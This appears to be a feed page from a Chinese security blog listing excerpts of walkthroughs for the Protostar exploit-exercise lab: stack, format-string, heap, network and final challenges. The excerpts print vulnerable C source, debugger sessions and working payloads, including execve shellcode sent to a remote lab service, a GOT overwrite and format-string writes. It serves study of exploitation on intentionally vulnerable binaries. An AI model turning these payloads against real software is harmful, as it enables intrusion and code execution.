lightless blog - protostar
type: channel
link: https://lightless.me/tag/protostar
items: protostar通关指南——final系列
items: protostar通关指南——net系列
items: protostar通关指南——heap系列
items: protostar通关指南——format系列
items: protostar通关指南——stack系列

protostar通关指南——final系列
type: item
date: 2015-08-10T03:31:48+00:00
description: 最后的Final系列，把这个系列的东西都综合起来了。 final 0 char *get_username() { char buffer[512]; char *q; int i; memset(buffer, 0, sizeof(buffer)); gets(buffer); /* Strip off trailing new line characters */ q = strchr(buffer, '\n'); if(q) *q = 0; q = strchr(buffer, '\r'); if(q) *q = 0; /* Convert to lower case */ for(i = 0; i < strlen(buffer); i++) { buffer[i] = toupper(buffer[i]); } /* Duplicate the string and return it */ return strdup(buffer); } 这个题目是结合了栈溢出和网络相关的知识，一道远程溢出的题目。很明显，接收buffer的时候没有对长度做检查，导致了溢出。先来看看溢出点在哪里。 ➜ net python ~/pattern.py create 600 [binary] ➜ net nc 192.168.37.159 2995 [binary] 通过core dump文件找找偏移量。 user@protostar:/opt/protostar/bin$ gdb -q ./final0 --core=/tmp/core.11.final0.11324 Reading symbols from /opt/protostar/bin/final0...done. warning: Can't read pathname for load map: Input/output error. Reading symbols from /lib/libc.so.6...Reading symbols from /usr/lib/debug/lib/libc-2.11.2.so...done. (no debugging symbols found)...done. Loaded symbols for /lib/libc.so.6 Reading symbols from /lib/ld-linux.so.2...Reading symbols from /usr/lib/debug/lib/ld-2.11.2.so...done. (no debugging symbols found)...done. Loaded symbols for /lib/ld-linux.so.2 Core was generated by `/opt/protostar/bin/final0'. Program terminated with signal 11, Segmentation fault. #0 0x72413772 in ?? () ➜ net python ~/pattern.py offset 0x72413772 hex pattern decoded as: r7Ar 532 shellcode我们选择这个可以绕过toupper()的： shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x29\xc0\x88\x46\x07\x89\x46\x0c" shellcode += "\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c\xcd\x80" shellcode += "\x29\xc0\x40\xcd\x80\xe8\xd2\xff\xff\xff" shellcode += "\x0f\x42\x49\x4e\x0f\x53\x48" shellcode来自：https://www.exploit-db.com/exploits/13460/ 找一下返回地址: (gdb) x/10s $esp-536 0xbffffa48: "AA0AA1AA2AA3AA4........ 太长了多余的不贴了，写payload吧。 from pwn import * target = remote('192.168.37.159',2995) shellcode = "\xeb\x29\x5e\x29\xc9\x89\xf3\x89\x5e\x08\xb1\x07" shellcode += "\x80\x03\x20\x43\xe0\xfa\x2…

protostar通关指南——net系列
type: item
date: 2015-08-07T08:28:28+00:00
description: 这个系列开始涉及网络部分了，感觉这部分还是很简单的。 net 0 先来看源码： #include "../common/common.c" #define NAME "net0" #define UID 999 #define GID 999 #define PORT 2999 void run() { unsigned int i; unsigned int wanted; wanted = random(); printf("Please send '%d' as a little endian 32bit int\n", wanted); if(fread(&i, sizeof(i), 1, stdin) == NULL) { errx(1, ":(\n"); } if(i == wanted) { printf("Thank you sir/madam\n"); } else { printf("I'm sorry, you sent %d instead\n", i); } } int main(int argc, char **argv, char **envp) { int fd; char *username; /* Run the process as a daemon */ background_process(NAME, UID, GID); /* Wait for socket activity and return */ fd = serve_forever(PORT); /* Set the client socket to STDIN, STDOUT, and STDERR */ set_io(fd); /* Don't do this :> */ srandom(time(NULL)); run(); } 主函数中的大部分内容其实不需要关注的，主要来看run()函数，这里面随机生成了一个值，并且接受一个输入值，判断两个值是否相等。来，我们祭出pwntools。 from pwn import * target = remote('192.168.37.159',2999) temp = target.recv() print temp temp = temp[temp.find("'"):] temp = temp[1:] temp = temp[:temp.find("'")] print temp target.send(p32(int(temp,10))) print target.recv() target.close() 结果如下： ➜ net python net0.py [+] Opening connection to 192.168.37.159 on port 2999: Done Please send '577360076' as a little endian 32bit int 577360076 Thank you sir/madam [*] Closed connection to 192.168.37.159 port 2999 net 1 这里只贴出关键代码吧。 void run() { char buf[12]; char fub[12]; char *q; unsigned int wanted; wanted = random(); sprintf(fub, "%d", wanted); if(write(0, &wanted, sizeof(wanted)) != sizeof(wanted)) { errx(1, ":(\n"); } if(fgets(buf, sizeof(buf)-1, stdin) == NULL) { errx(1, ":(\n"); } q = strchr(buf, '\r'); if(q) *q = 0; q = strchr(buf, '\n'); if(q) *q = 0; if(strcmp(fub, buf) == 0) { printf("you correctly sent the data\n"); } else { printf("you didn't send the data properly\n"); } } 这个题还是要让我们发送过去一个和随机生成的数值一样的东西。这次把接收到的东西unpack再发过去就可以了，代码如下： from pwn import * target = remote('192.168.37.159',2998) temp = target.recv() print temp payload = u32(temp) target.send(str(payload)+'\n'…

protostar通关指南——heap系列
type: item
date: 2015-08-07T06:39:00+00:00
description: 感觉是比较难的一部分了，毕竟堆溢出平常接触的少。 heap 0 源码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct data { char name[64]; }; struct fp { int (*fp)(); }; void winner() { printf("level passed\n"); } void nowinner() { printf("level has not been passed\n"); } int main(int argc, char **argv) { struct data *d; struct fp *f; d = malloc(sizeof(struct data)); f = malloc(sizeof(struct fp)); f->fp = nowinner; printf("data is at %p, fp is at %p\n", d, f); strcpy(d->name, argv[1]); f->fp(); } 先找溢出点： user@protostar:/opt/protostar/bin$ gdb ./heap0 Reading symbols from /opt/protostar/bin/heap0...done. (gdb) r `python /home/user/pattern.py create 150` Starting program: /opt/protostar/bin/heap0 `python /home/user/pattern.py create 150` data is at 0x804a008, fp is at 0x804a050 Program received signal SIGSEGV, Segmentation fault. 0x41346341 in ?? () user@protostar:/opt/protostar/bin$ python /home/user/pattern.py offset 0x41346341 hex pattern decoded as: Ac4A 72 找到winner()函数的地址： user@protostar:/opt/protostar/bin$ objdump -d heap0 | grep win 08048464 <winner>: 构造payload: user@protostar:/opt/protostar/bin$ ./heap0 `python -c "print 'A'*72 + '\x64\x84\x04\x08' "` data is at 0x804a008, fp is at 0x804a050 level passed 不知道是不是正解。 heap 1 先贴代码： #include <stdlib.h> #include <unistd.h> #include <string.h> #include <stdio.h> #include <sys/types.h> struct internet { int priority; char *name; }; void winner() { printf("and we have a winner @ %d\n", time(NULL)); } int main(int argc, char **argv) { struct internet *i1, *i2, *i3; i1 = malloc(sizeof(struct internet)); i1->priority = 1; i1->name = malloc(8); i2 = malloc(sizeof(struct internet)); i2->priority = 2; i2->name = malloc(8); strcpy(i1->name, argv[1]); strcpy(i2->name, argv[2]); printf("and that's a wrap folks!\n"); } 出现问题的地方很容易找到，就是其中的两个strcpy的地方，但是这题想执行winner()的话，还是需要修改GOT。先注意一点，printf()会被优化称puts()，所以我们实际上是修改puts()在GOT中的条目，让其调用puts()的时候调用winner()。这里就需要使用strcpy()的方式来修改GOT，让strcpy()把winner()函数的地址复制到GOT…

protostar通关指南——format系列
type: item
date: 2015-08-06T05:59:27+00:00
description: format 0 先看源码，已经知道是格式化字符串漏洞了。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void vuln(char *string) { volatile int target; char buffer[64]; target = 0; sprintf(buffer, string); if(target == 0xdeadbeef) { printf("you have hit the target correctly :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } 第0关好像没啥难度的样子，只是把接收来的参数通过sprintf()打印到了buffer中，所以很容易的就溢出了。 user@protostar:/opt/protostar/bin$ ./format0 `python -c "print 'A'*64 + '\xef\xbe\xad\xde'"` you have hit the target correctly :) 等等，题目说输入应当小于10字节，好吧，那改一下payload： user@protostar:/opt/protostar/bin$ ./format0 `python -c "print '%64d' + '\xef\xbe\xad\xde'"` you have hit the target correctly :) 搞定。 format 1 这次把target放到全局变量里了。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> int target; void vuln(char *string) { printf(string); if(target) { printf("you have modified the target :)\n"); } } int main(int argc, char **argv) { vuln(argv[1]); } 通过objdump可以轻松找到这个全局变量的地址： user@protostar:/opt/protostar/bin$ objdump -t format1 |grep target 08049638 g O .bss 00000004 target 后来各种构造都不对，z神说可以直接喷。。。 user@protostar:/opt/protostar/bin$ ./format1 `python -c "print ('\x96' + '\x04' + '\x08' + '\x38')*1000 + '%x,'*200+'%n'"` 8804960c,bfffe5f8,8048469,b7fd8304,b7fd7ff4,bfffe5f8,8048435,bfffe7c1,b7ff1040,804845b,b7fd7ff4,8048450,0,bfffe678,b7eadc76,2,bfffe6a4,bfffe6b0,b7fe1848,bfffe660,ffffffff,b7ffeff4,804824d,1,bfffe660,b7ff0626,b7fffab0,b7fe1b28,b7fd7ff4,0,0,bfffe678,47f4957a,6d80e36a,0,0,0,2,8048340,0,b7ff6210,b7eadb9b,b7ffeff4,2,8048340,0,8048361,804841c,2,bfffe6a4,8048450,8048440,b7ff1040,bfffe69c,b7fff8f8,2,bfffe7b7,bfffe7c1,0,bffff9bc,bffff9ca,bffff9d5,bffff9f5,bffffa08,bffffa12,bfffff02,bfffff40,bfffff54,bfffff6b,bfffff7c,bfffff84,bfffff94,bfffffa1,bfffffd4,bfffffe0,0,20,b7fe2414,21,b7fe2000,10,fabfbff,6,1000,11,64,3,8048034,4,20,5,7,7,b7fe3000,8,0,9,8048340,b,3e9,c,0,d,3e9,e,3e9,17,1,19,bfffe79b,1f,bffffff2,f,bfffe7ab,0,0,0,80000000,4a8460fb,6c02dc1c,5a528a1f,6…

protostar通关指南——stack系列
type: item
date: 2015-08-05T05:59:30+00:00
description: 继续上一个系列nebula的升级版：protostar stack 0 这个题是最简单的栈溢出，目的是让大家明白栈溢出可以修改内存中的变量。 #include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv) { volatile int modified; char buffer[64]; modified = 0; gets(buffer); if(modified != 0) { printf("you have changed the 'modified' variable\n"); } else { printf("Try again?\n"); } } 可以看到局部变量有两个，一个是int类型，另一个是char数组，通常情况下，两个变量在栈中是这个样子的。 buff buff buff buff ... buff modified 所以我们输入64个junk byte，然后加个1就可以把modified覆盖成1了。 payload: 12341234123412341234123412341234123412341234123412341234123412341111 stack 1 基本上和上一题一样，目的是让我们区分大小端，从代码中可以看到，这里比较的是modified和0x61626364，即abcd，但是要进行大小端转换，输入的abcd在内存中会变成dcba，所以为了得到到abcd，需要输入dcba。 payload: $ ./stack1 1234123412341234123412341234123412341234123412341234123412341234dcba stack 2 代码同样没有多大改变，只是从环境变量中读取内容，最后出现了不可见字符，直接输入是不可能了，借助一下python，pyload如下： user@protostar:/opt/protostar/bin$ export GREENIE=`python -c "print 'A'*64+'\x0a\x0d\x0a\x0d'"` user@protostar:/opt/protostar/bin$ ./stack2 you have correctly modified the variable stack 3 这里代码变化较大： #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void win() { printf("code flow successfully changed\n"); } int main(int argc, char **argv) { volatile int (*fp)(); char buffer[64]; fp = 0; gets(buffer); if(fp) { printf("calling function pointer, jumping to 0x%08x\n", fp); fp(); } } 这个题的目的是让我改掉EIP，这里提供了一个函数指针，所以只要将这个函数指针的地址覆盖为win()的地址就可以了，免去了覆盖返回地址的问题。首先通过objdump获取win()的地址。 user@protostar:/opt/protostar/bin$ objdump -d stack3 .... 08048424 <win>: 8048424: 55 push %ebp 8048425: 89 e5 mov %esp,%ebp 8048427: 83 ec 18 sub $0x18,%esp 804842a: c7 04 24 40 85 04 08 movl $0x8048540,(%esp) 8048431: e8 2a ff ff ff call 8048360 <puts@plt> 8048436: c9 leave 8048437: c3 ret .... 多余部分这里略去了，可以看到win()函数的地址是0x08048424，但是由于大小端问题，需要变成0x24840408，然后可以构造出payload： user@protostar:/opt/protostar/bin$ python -c "print 'a'*64 + '\x24\x84\x04\x08'" | ./stack3 calling function pointer, jumping to 0x08048424 code flow successfully changed stack 4 …